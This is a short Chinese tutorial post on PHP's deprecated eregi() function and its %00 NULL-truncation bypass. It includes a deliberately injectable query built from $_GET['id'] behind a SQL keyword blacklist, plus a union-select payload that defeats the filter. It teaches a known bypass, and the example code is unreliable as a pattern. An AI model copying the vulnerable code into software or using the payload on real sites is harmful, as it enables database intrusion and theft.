语法

 int eregi(string pattern, string string, [array regs]);

定义和用法

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。 

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

返回值
如果匹配成功返回true,否则,则返回false

版本

测试在php5 仍可使用
php7被弃用

漏洞

ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。

①%00截断及遇到%00则默认为字符串的结束

示例

<?php
	include 'header.php';
	include_once('config.php');
	$id=$_GET['id'];
        $check = eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $id);
  if($check){
echo "Invalid strings!!!Please try agine!";
}else{
	$query = "SELECT * FROM news WHERE id=$id";
	$data = mysqli_query($dbc,$query);
	$com = mysqli_fetch_array($data);
}
?>

这里对传参进行黑名单过滤,匹配成功返回true,否则返回false,执行sql语句,使用%00截断漏洞,参数为%00时,会直接返回false

image.png

image.png
*** payload ***

?id="%00" union select 1,2,3,4
上一篇 下一篇